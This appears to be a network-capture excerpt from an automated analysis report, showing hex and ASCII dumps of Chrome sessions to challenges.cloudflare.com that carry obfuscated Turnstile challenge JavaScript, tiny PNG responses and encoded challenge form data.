2024-04-25 13:30:38 UTC	1369	IN	Data Raw: 32 38 32 62 0d 0a 67 50 2c 67 51 2c 67 52 2c 67 53 2c 67 54 2c 67 55 2c 67 56 2c 67 57 2c 67 58 2c 67 59 2c 67 5a 2c 68 30 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 2c 68 39 2c 68 61 2c 68 62 2c 68 63 2c 68 64 2c 68 65 2c 68 66 2c 68 67 2c 68 68 2c 68 69 2c 68 6a 2c 68 6b 2c 68 6c 2c 68 6d 2c 68 6e 2c 68 6f 2c 68 70 2c 68 71 2c 68 72 2c 68 73 2c 68 74 2c 68 75 2c 68 77 2c 68 49 2c 68 56 2c 69 30 2c 69 31 2c 69 32 2c 69 65 2c 69 72 2c 69 76 2c 66 58 2c 66 59 29 7b 66 6f 72 28 69 78 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 69 77 2c 65 2c 66 29 7b 66 6f 72 28 69 77 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 69 77 28 36 34 37 29 29 2f 31 2a 28 2d 70 61 72 73 65 49 Data Ascii: 282bgP,gQ,gR,gS,gT,gU,gV,gW,gX,gY,gZ,h0,h1,h2,h3,h4,h5,h6,h7,h8,h9,ha,hb,hc,hd,he,hf,hg,hh,hi,hj,hk,hl,hm,hn,ho,hp,hq,hr,hs,ht,hu,hw,hI,hV,i0,i1,i2,ie,ir,iv,fX,fY){for(ix=b,function(c,d,iw,e,f){for(iw=b,e=c();!![];)try{if(f=-parseInt(iw(647))/1*(-parseI
2024-04-25 13:30:38 UTC	1369	IN	Data Raw: 72 28 78 3d 66 55 28 68 29 2c 67 5b 6a 68 28 32 32 38 38 29 5d 5b 6a 68 28 31 37 36 36 29 5d 26 26 28 78 3d 78 5b 6a 68 28 32 36 36 31 29 5d 28 67 5b 6a 68 28 32 32 38 38 29 5d 5b 6a 68 28 31 37 36 36 29 5d 28 68 29 29 29 2c 78 3d 67 5b 6a 68 28 33 30 32 32 29 5d 5b 6a 68 28 32 36 37 34 29 5d 26 26 67 5b 6a 68 28 31 34 33 33 29 5d 3f 67 5b 6a 68 28 33 30 32 32 29 5d 5b 6a 68 28 32 36 37 34 29 5d 28 6e 65 77 20 67 5b 28 6a 68 28 31 34 33 33 29 29 5d 28 78 29 29 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 6a 6a 2c 48 29 7b 69 66 28 6a 6a 3d 6a 68 2c 6f 5b 6a 6a 28 32 30 30 36 29 5d 28 6a 6a 28 31 30 34 34 29 2c 6a 6a 28 31 30 34 34 29 29 29 7b 66 6f 72 28 47 5b 6a 6a 28 32 37 34 33 29 5d 28 29 2c 48 3d 30 3b 6f 5b 6a 6a 28 31 33 38 32 29 5d 28 48 2c 47 5b 6a 6a 28 Data Ascii: r(x=fU(h),g[jh(2288)][jh(1766)]&&(x=x[jh(2661)](g[jh(2288)][jh(1766)](h))),x=g[jh(3022)][jh(2674)]&&g[jh(1433)]?g[jh(3022)][jh(2674)](new g[(jh(1433))](x)):function(G,jj,H){if(jj=jh,o[jj(2006)](jj(1044),jj(1044))){for(G[jj(2743)](),H=0;o[jj(1382)](H,G[jj(
2024-04-25 13:30:38 UTC	1369	IN	Data Raw: 5d 28 6d 2c 68 5b 6a 5b 6b 5d 5d 5b 6a 6c 28 32 36 36 36 29 5d 29 3b 69 5b 6a 6c 28 33 36 32 29 5d 28 2d 31 2c 67 5b 6c 5d 5b 6a 6c 28 32 37 32 39 29 5d 28 68 5b 6a 5b 6b 5d 5d 5b 6d 5d 29 29 26 26 28 69 5b 6a 6c 28 36 38 33 29 5d 28 66 57 2c 68 5b 6a 5b 6b 5d 5d 5b 6d 5d 29 7c 7c 67 5b 6c 5d 5b 6a 6c 28 39 31 39 29 5d 28 27 6f 2e 27 2b 68 5b 6a 5b 6b 5d 5d 5b 6d 5d 29 29 2c 6d 2b 2b 29 3b 7d 65 6c 73 65 20 67 5b 6c 5d 3d 68 5b 6a 5b 6b 5d 5d 5b 6a 6c 28 32 31 30 30 29 5d 28 66 75 6e 63 74 69 6f 6e 28 6e 2c 6a 6d 29 7b 69 66 28 6a 6d 3d 6a 6c 2c 69 5b 6a 6d 28 31 33 33 37 29 5d 3d 3d 3d 69 5b 6a 6d 28 32 35 38 36 29 5d 29 28 21 68 5b 6a 6d 28 32 36 34 37 29 5d 7c 7c 69 5b 6a 6d 28 32 36 34 37 29 5d 3d 3d 3d 69 5b 6a 6d 28 31 36 37 31 29 5d 7c 7c 6a 5b 6a Data Ascii: ](m,h[j[k]][jl(2666)]);i[jl(362)](-1,g[l][jl(2729)](h[j[k]][m]))&&(i[jl(683)](fW,h[j[k]][m])\|\|g[l][jl(919)]('o.'+h[j[k]][m])),m++);}else g[l]=h[j[k]][jl(2100)](function(n,jm){if(jm=jl,i[jm(1337)]===i[jm(2586)])(!h[jm(2647)]\|\|i[jm(2647)]===i[jm(1671)]\|\|j[j
2024-04-25 13:30:38 UTC	1369	IN	Data Raw: 20 68 7c 69 7d 2c 27 74 4e 62 69 42 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 5a 66 59 67 53 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 71 52 76 6c 64 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 4a 41 78 64 54 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 65 4d 47 45 59 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 65 5a 66 42 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 78 6d 56 54 45 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 3d 68 7d 2c 27 48 73 61 Data Ascii: h\|i},'tNbiB':function(h,i){return h<i},'ZfYgS':function(h,i){return i==h},'qRvld':function(h,i){return h<<i},'JAxdT':function(h,i){return h(i)},'eMGEY':function(h,i){return h(i)},'eZfBl':function(h,i){return h(i)},'xmVTE':function(h,i){return i!==h},'Hsa
2024-04-25 13:30:38 UTC	1369	IN	Data Raw: 7b 72 65 74 75 72 6e 20 6b 39 3d 6b 38 2c 6a 5b 6b 39 28 31 33 32 38 29 5d 5b 6b 39 28 33 30 32 29 5d 28 6b 29 7d 29 7d 2c 27 67 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c 6f 2c 6b 61 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 29 7b 69 66 28 6b 61 3d 6b 37 2c 6e 75 6c 6c 3d 3d 69 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 78 3d 7b 7d 2c 42 3d 7b 7d 2c 43 3d 27 27 2c 44 3d 32 2c 45 3d 33 2c 46 3d 32 2c 47 3d 5b 5d 2c 48 3d 30 2c 49 3d 30 2c 4a 3d 30 3b 4a 3c 69 5b 6b 61 28 32 36 36 36 29 5d 3b 4a 2b 3d 31 29 69 66 28 4b 3d 69 5b 6b 61 28 33 30 32 29 5d 28 4a 29 2c 4f 62 6a 65 63 74 5b 6b 61 28 39 36 31 29 5d 5b 6b 61 28 39 36 33 29 5d 5b 6b 61 28 31 35 39 37 29 5d 28 78 2c 4b 29 7c 7c 28 78 5b 4b 5d 3d 45 2b 2b 2c Data Ascii: {return k9=k8,j[k9(1328)][k9(302)](k)})},'g':function(i,j,o,ka,s,x,B,C,D,E,F,G,H,I,J,K,L,M){if(ka=k7,null==i)return'';for(x={},B={},C='',D=2,E=3,F=2,G=[],H=0,I=0,J=0;J<i[ka(2666)];J+=1)if(K=i[ka(302)](J),Object[ka(961)][ka(963)][ka(1597)](x,K)\|\|(x[K]=E++,
2024-04-25 13:30:38 UTC	1369	IN	Data Raw: 3a 49 2b 2b 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 6b 61 28 32 36 38 36 29 5d 28 30 29 2c 73 3d 30 3b 64 5b 6b 61 28 32 34 33 30 29 5d 28 38 2c 73 29 3b 48 3d 48 3c 3c 31 2e 33 38 7c 64 5b 6b 61 28 32 31 36 35 29 5d 28 4d 2c 31 29 2c 49 3d 3d 6a 2d 31 3f 28 49 3d 30 2c 47 5b 6b 61 28 39 31 39 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 4d 3d 31 2c 73 3d 30 3b 73 3c 46 3b 48 3d 64 5b 6b 61 28 31 31 31 31 29 5d 28 48 3c 3c 31 2c 4d 29 2c 64 5b 6b 61 28 31 39 35 31 29 5d 28 49 2c 6a 2d 31 29 3f 28 49 3d 30 2c 47 5b 6b 61 28 39 31 39 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3d 30 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 6b 61 28 32 36 38 36 29 5d 28 30 29 2c 73 3d 30 Data Ascii: :I++,s++);for(M=C[ka(2686)](0),s=0;d[ka(2430)](8,s);H=H<<1.38\|d[ka(2165)](M,1),I==j-1?(I=0,G[ka(919)](o(H)),H=0):I++,M>>=1,s++);}else{for(M=1,s=0;s<F;H=d[ka(1111)](H<<1,M),d[ka(1951)](I,j-1)?(I=0,G[ka(919)](o(H)),H=0):I++,M=0,s++);for(M=C[ka(2686)](0),s=0
2024-04-25 13:30:38 UTC	1369	IN	Data Raw: 74 69 6e 75 65 3b 63 61 73 65 27 32 27 3a 5a 5b 6b 64 28 31 31 33 35 29 5d 5b 6b 64 28 32 38 36 29 5d 28 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 33 27 3a 57 5b 6b 64 28 31 31 33 35 29 5d 5b 6b 64 28 33 30 30 33 29 5d 28 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 34 27 3a 69 5b 6b 64 28 31 33 35 36 29 5d 28 61 30 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 35 27 3a 59 5b 6b 64 28 31 31 33 35 29 5d 5b 6b 64 28 31 33 36 35 29 5d 28 29 3b 63 6f 6e 74 69 6e 75 65 7d 62 72 65 61 6b 7d 7d 7d 29 7d 2c 27 69 27 3a 66 75 6e 63 74 69 6f 6e 28 6a 2c 6f 2c 73 2c 6b 65 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 2c 4e 2c 52 2c 4f 2c 50 2c 51 2c 54 2c 55 29 7b 66 6f 72 28 6b 65 3d 6b 37 2c 78 3d 7b 7d 2c 78 5b 6b 65 28 Data Ascii: tinue;case'2':Z[kd(1135)][kd(286)]();continue;case'3':W[kd(1135)][kd(3003)]();continue;case'4':i[kd(1356)](a0);continue;case'5':Y[kd(1135)][kd(1365)]();continue}break}}})},'i':function(j,o,s,ke,x,B,C,D,E,F,G,H,I,J,K,L,M,N,R,O,P,Q,T,U){for(ke=k7,x={},x[ke(
2024-04-25 13:30:38 UTC	708	IN	Data Raw: 3d 73 28 4c 2b 2b 29 29 2c 4d 7c 3d 28 30 3c 51 3f 31 3a 30 29 2a 49 2c 49 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 52 3d 4d 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 4d 3d 30 2c 4e 3d 4d 61 74 68 5b 6b 65 28 33 30 32 30 29 5d 28 32 2c 38 29 2c 49 3d 31 3b 4e 21 3d 49 3b 51 3d 64 5b 6b 65 28 32 30 30 33 29 5d 28 4a 2c 4b 29 2c 4b 3e 3e 3d 31 2c 4b 3d 3d 30 26 26 28 4b 3d 6f 2c 4a 3d 73 28 4c 2b 2b 29 29 2c 4d 7c 3d 28 64 5b 6b 65 28 33 31 37 33 29 5d 28 30 2c 51 29 3f 31 3a 30 29 2a 49 2c 49 3c 3c 3d 31 29 3b 43 5b 45 2b 2b 5d 3d 65 28 4d 29 2c 52 3d 45 2d 31 2c 44 2d 2d 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 3a 66 6f 72 28 4d 3d 30 2c 4e 3d 4d 61 74 68 5b 6b 65 28 33 30 32 30 29 5d 28 32 2c 31 36 29 2c 49 3d 31 3b 4e 21 3d 49 3b 51 3d 64 5b 6b 65 28 31 31 34 Data Ascii: =s(L++)),M\|=(0<Q?1:0)I,I<<=1);switch(R=M){case 0:for(M=0,N=Math[ke(3020)](2,8),I=1;N!=I;Q=d[ke(2003)](J,K),K>>=1,K==0&&(K=o,J=s(L++)),M\|=(d[ke(3173)](0,Q)?1:0)I,I<<=1);C[E++]=e(M),R=E-1,D--;break;case 1:for(M=0,N=Math[ke(3020)](2,16),I=1;N!=I;Q=d[ke(114
2024-04-25 13:30:38 UTC	1369	IN	Data Raw: 61 65 39 0d 0a 2e 32 32 3c 3c 63 2c 33 32 29 2c 66 45 5b 6b 67 28 32 35 36 37 29 5d 28 66 75 6e 63 74 69 6f 6e 28 6b 68 29 7b 6b 68 3d 6b 67 2c 66 45 5b 6b 68 28 34 38 36 29 5d 26 26 28 66 45 5b 6b 68 28 31 31 33 35 29 5d 5b 6b 68 28 32 38 36 29 5d 28 29 2c 66 45 5b 6b 68 28 31 31 33 35 29 5d 5b 6b 68 28 33 30 31 31 29 5d 28 29 2c 66 45 5b 6b 68 28 31 38 33 34 29 5d 3d 21 21 5b 5d 2c 66 45 5b 6b 68 28 34 38 36 29 5d 5b 6b 68 28 31 37 37 39 29 5d 28 7b 27 73 6f 75 72 63 65 27 3a 6b 68 28 33 30 31 37 29 2c 27 77 69 64 67 65 74 49 64 27 3a 66 45 5b 6b 68 28 31 30 32 30 29 5d 5b 6b 68 28 31 38 39 29 5d 2c 27 65 76 65 6e 74 27 3a 6b 68 28 33 34 32 29 2c 27 63 66 43 68 6c 4f 75 74 27 3a 66 45 5b 6b 68 28 31 30 32 30 29 5d 5b 6b 68 28 32 31 33 29 5d 2c 27 63 66 Data Ascii: ae9.22<<c,32),fE[kg(2567)](function(kh){kh=kg,fE[kh(486)]&&(fE[kh(1135)][kh(286)](),fE[kh(1135)][kh(3011)](),fE[kh(1834)]=!![],fE[kh(486)][kh(1779)]({'source':kh(3017),'widgetId':fE[kh(1020)][kh(189)],'event':kh(342),'cfChlOut':fE[kh(1020)][kh(213)],'cf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.16	49770	104.17.2.184	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:38 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/53ex4/0x4AAAAAAAYJMTeME2wR372g/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:38 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:30:38 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 879eb0555cabb0be-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:30:38 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.16	49771	104.17.3.184	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:38 UTC	438	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:38 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:30:38 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 879eb0592d437ba6-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:30:38 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.16	49772	104.17.2.184	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:39 UTC	915	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/210437745:1714048022:Dj_BjBVN3qSjjU0vh97END1ep2-gHjFWxN7G3ScUWQE/879eb051688c6769/8c6b23695c6ef4f HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 2644 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 8c6b23695c6ef4f sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/53ex4/0x4AAAAAAAYJMTeME2wR372g/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:39 UTC	2644	OUT	Data Raw: 76 5f 38 37 39 65 62 30 35 31 36 38 38 63 36 37 36 39 3d 6d 62 77 64 31 64 73 64 36 64 41 64 38 56 4f 45 56 4f 42 64 56 6b 39 68 38 4d 56 32 4f 38 4f 24 6f 6b 47 72 76 4f 57 4e 4f 77 76 32 33 50 71 4f 32 76 38 66 50 32 7a 4e 4f 53 64 38 68 50 43 49 64 7a 41 77 64 4f 7a 30 64 39 70 4f 68 76 38 7a 74 64 75 4f 39 66 4f 49 64 38 72 65 37 64 4f 6b 37 4f 37 67 4f 56 73 73 32 56 44 48 77 6d 77 7a 76 38 4e 4f 69 64 39 37 6c 41 7a 66 6c 62 4f 63 58 44 75 49 79 71 6c 53 64 39 68 4f 34 38 6b 51 73 33 44 4f 4f 70 44 51 77 2d 77 2d 66 2d 75 47 36 4f 73 42 6b 34 41 4f 37 4f 50 48 56 47 79 77 4f 63 4c 2d 74 70 78 64 4f 52 79 77 63 4f 56 77 6f 30 73 50 64 4f 73 48 72 43 4f 4f 24 4f 4e 51 36 73 4e 69 73 4f 32 2d 4d 61 4f 50 6f 24 64 56 57 32 33 41 37 6b 4b 44 42 56 72 4e Data Ascii: v_879eb051688c6769=mbwd1dsd6dAd8VOEVOBdVk9h8MV2O8O$okGrvOWNOwv23PqO2v8fP2zNOSd8hPCIdzAwdOz0d9pOhv8ztduO9fOId8re7dOk7O7gOVss2VDHwmwzv8NOid97lAzflbOcXDuIyqlSd9hO48kQs3DOOpDQw-w-f-uG6OsBk4AO7OPHVGywOcL-tpxdORywcOVwo0sPdOsHrCOO$ONQ6sNisO2-MaOPo$dVW23A7kKDBVrN
2024-04-25 13:30:39 UTC	734	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:30:39 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-gen: sawrZ+WP+Js4LgjrBYn8CluV1uN15PHzduosbqe1deQr6mWB/TCbl/PnXwygeWHR/VvWBLtOweRKRksozdAxN6iJdaX8jEzUoH3t1TNb+m+F3fuVgbDFz9lTpFBfOtsI5rJvW4PcLZNk8YFPKAXpIcbc3Zd5kV1SOaIl+5b6WL4axxkO135jbF7vfqTvn8dYece40M2m2LFIeu/EsSmwrCXyo/1kuwx+LnX/uOx1DfaHmpu3U7MHNZdWHvTcobG7dvApJ7jrVTh86vFp24JAcL5j0MHmQ17JuoBnoBxDzoTNuYck8nv7CNkuE84W11c57BYJrLtv7Wk8Y+KArussK0GRaze+tJz4KXPc/4bsmCaEXBt+AZdoqiGT3KsN6M2R6aLF05k387Qkm6P+e7zmytS0KKUvJVXySKxP1YDImWGizcJczeL06sUTLTM7jJ1F$ra22gzhyMGTNFB4w/bLBXg== vary: accept-encoding Server: cloudflare CF-RAY: 879eb05a2a2e53f4-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:30:39 UTC	269	IN	Data Raw: 31 30 36 0d 0a 59 58 6c 70 6a 55 79 45 62 59 39 38 69 55 31 75 6c 32 4b 59 55 6e 42 6e 62 57 5a 33 56 6d 68 63 66 32 4a 30 6f 36 43 62 67 5a 71 46 69 49 31 32 62 58 79 46 71 6d 75 41 72 61 4a 30 6f 35 65 72 63 6e 65 77 65 34 32 52 72 72 79 74 6f 70 4b 57 76 72 4f 34 6e 4d 65 6e 76 61 43 6b 6d 71 69 4a 72 4a 36 73 31 71 7a 4c 31 64 58 4b 73 6f 37 50 79 71 36 5a 30 38 36 78 70 4f 62 64 74 73 4b 34 32 71 6a 6e 36 72 69 2f 35 73 32 6b 34 4d 4f 79 71 4c 2f 79 38 75 54 54 37 4d 2b 39 2f 4c 76 77 30 41 48 45 31 39 6a 42 32 4e 6e 34 31 65 7a 63 33 41 2f 50 37 4f 44 73 7a 74 58 33 42 39 4c 77 48 41 7a 38 38 50 45 42 43 77 50 31 2f 52 38 61 49 41 51 6e 49 78 6f 61 48 4e 2f 6b 42 77 6a 6f 35 43 45 65 4e 77 6e 70 37 6a 59 46 42 6a 67 2f 2f 68 67 4d 39 79 78 42 4a 44 Data Ascii: 106YXlpjUyEbY98iU1ul2KYUnBnbWZ3Vmhcf2J0o6CbgZqFiI12bXyFqmuAraJ0o5ercnewe42RrrytopKWvrO4nMenvaCkmqiJrJ6s1qzL1dXKso7Pyq6Z086xpObdtsK42qjn6ri/5s2k4MOyqL/y8uTT7M+9/Lvw0AHE19jB2Nn41ezc3A/P7ODsztX3B9LwHAz88PEBCwP1/R8aIAQnIxoaHN/kBwjo5CEeNwnp7jYFBjg//hgM9yxBJD
2024-04-25 13:30:39 UTC	1369	IN	Data Raw: 31 31 37 35 0d 0a 38 49 42 30 45 2f 49 54 55 65 56 45 45 79 4f 79 73 75 52 6a 59 59 54 6c 4e 4d 58 52 70 6d 59 30 49 37 61 56 6c 73 52 79 68 5a 51 69 74 45 59 6c 31 31 61 31 39 52 4d 57 39 4f 57 58 70 30 65 54 45 2f 65 58 5a 2f 4f 33 74 39 58 54 39 2f 65 6d 46 44 67 33 39 6c 52 34 65 45 61 55 75 4c 69 57 31 50 6a 34 5a 73 5a 34 65 59 66 33 32 61 6a 49 78 36 6d 57 61 6f 66 48 53 55 70 56 35 34 65 61 79 72 6e 6e 32 79 72 61 61 52 62 6e 65 77 64 34 65 39 70 34 6c 35 6d 4a 2b 4f 69 36 4f 35 74 72 4b 2f 74 70 79 43 72 4d 79 41 79 63 7a 46 6b 4b 32 75 72 71 57 70 6c 4b 47 32 79 37 75 6e 73 74 44 4b 77 4e 57 37 6f 61 33 6a 78 70 71 79 34 61 62 43 78 4e 32 6e 36 36 76 4f 71 2b 2f 55 36 75 7a 6f 78 2f 66 45 32 50 62 53 34 4f 48 56 33 76 65 32 78 50 4c 56 42 37 2b Data Ascii: 11758IB0E/ITUeVEEyOysuRjYYTlNMXRpmY0I7aVlsRyhZQitEYl11a19RMW9OWXp0eTE/eXZ/O3t9XT9/emFDg39lR4eEaUuLiW1Pj4ZsZ4eYf32ajIx6mWaofHSUpV54eayrnn2yraaRbnewd4e9p4l5mJ+Oi6O5trK/tpyCrMyAyczFkK2urqWplKG2y7unstDKwNW7oa3jxpqy4abCxN2n66vOq+/U6uzox/fE2PbS4OHV3ve2xPLVB7+
2024-04-25 13:30:39 UTC	1369	IN	Data Raw: 53 6b 6e 4d 46 4e 54 4c 30 6b 6c 57 7a 42 51 46 42 41 35 55 6a 46 67 50 78 73 6a 52 6b 56 6a 58 6d 49 6e 5a 31 35 67 4b 31 41 72 57 69 74 73 55 57 5a 57 52 30 30 73 51 33 46 47 54 6c 70 68 55 6d 35 54 5a 58 56 68 57 48 52 42 59 58 64 4c 54 48 6d 46 57 6d 75 44 69 6f 74 48 63 4a 53 55 6c 57 69 58 6e 48 6d 47 6b 6d 6c 72 65 5a 65 62 65 35 4b 6c 6b 4a 47 57 5a 59 57 44 6e 58 31 76 6f 32 6d 51 73 35 2b 6f 6b 4a 6d 4f 70 34 79 30 72 49 71 49 65 62 75 6a 77 61 57 37 73 4c 6d 33 71 62 57 71 76 4b 48 47 6e 36 71 37 76 36 54 44 6a 62 36 33 6b 37 6d 58 6d 36 75 75 6c 63 37 66 6d 5a 79 2b 6f 38 54 46 70 4c 48 47 70 4e 72 64 79 36 6a 77 33 63 32 73 7a 73 50 52 73 4e 47 79 31 62 54 56 38 64 6d 34 31 39 2f 64 76 4e 72 35 34 63 44 67 35 2b 58 45 35 4e 76 70 79 4f 66 4b Data Ascii: SknMFNTL0klWzBQFBA5UjFgPxsjRkVjXmInZ15gK1ArWitsUWZWR00sQ3FGTlphUm5TZXVhWHRBYXdLTHmFWmuDiotHcJSUlWiXnHmGkmlreZebe5KlkJGWZYWDnX1vo2mQs5+okJmOp4y0rIqIebujwaW7sLm3qbWqvKHGn6q7v6TDjb63k7mXm6uulc7fmZy+o8TFpLHGpNrdy6jw3c2szsPRsNGy1bTV8dm419/dvNr54cDg5+XE5NvpyOfK
2024-04-25 13:30:39 UTC	1369	IN	Data Raw: 51 76 52 69 34 56 52 6b 78 48 45 6a 41 38 48 30 39 6d 52 68 35 68 61 6b 4d 6b 56 30 42 47 4b 69 39 45 4f 32 38 7a 53 33 4e 4e 53 33 52 4f 59 32 31 34 61 46 56 4d 65 6a 35 57 62 47 31 6b 51 31 5a 63 67 55 75 47 5a 31 68 59 5a 6f 42 49 55 45 39 56 5a 32 4f 41 6c 34 36 4e 6b 35 78 57 6a 31 32 57 6d 4a 39 2f 6f 36 4a 6e 6c 6f 71 41 6c 6f 46 36 62 6d 32 47 6d 6d 71 4e 6b 4a 2b 4e 71 59 47 4c 72 72 47 4d 73 4c 75 79 71 35 79 50 65 38 43 74 73 4a 71 41 78 72 69 7a 75 4b 53 6f 69 72 76 4b 73 49 32 2b 6b 38 65 4f 7a 35 54 46 33 4c 50 51 73 61 75 59 34 5a 69 30 6f 72 76 5a 74 62 6e 6a 33 4c 7a 47 34 38 2b 39 79 73 6e 54 70 62 48 66 74 4d 61 32 77 66 76 78 75 74 50 76 7a 64 44 41 36 39 54 4d 32 66 6a 57 30 67 44 72 31 64 62 74 37 75 45 45 38 51 55 54 33 41 6a 55 39 Data Ascii: QvRi4VRkxHEjA8H09mRh5hakMkV0BGKi9EO28zS3NNS3ROY214aFVMej5WbG1kQ1ZcgUuGZ1hYZoBIUE9VZ2OAl46Nk5xWj12WmJ9/o6JnloqAloF6bm2GmmqNkJ+NqYGLrrGMsLuyq5yPe8CtsJqAxrizuKSoirvKsI2+k8eOz5TF3LPQsauY4Zi0orvZtbnj3LzG48+9ysnTpbHftMa2wfvxutPvzdDA69TM2fjW0gDr1dbt7uEE8QUT3AjU9
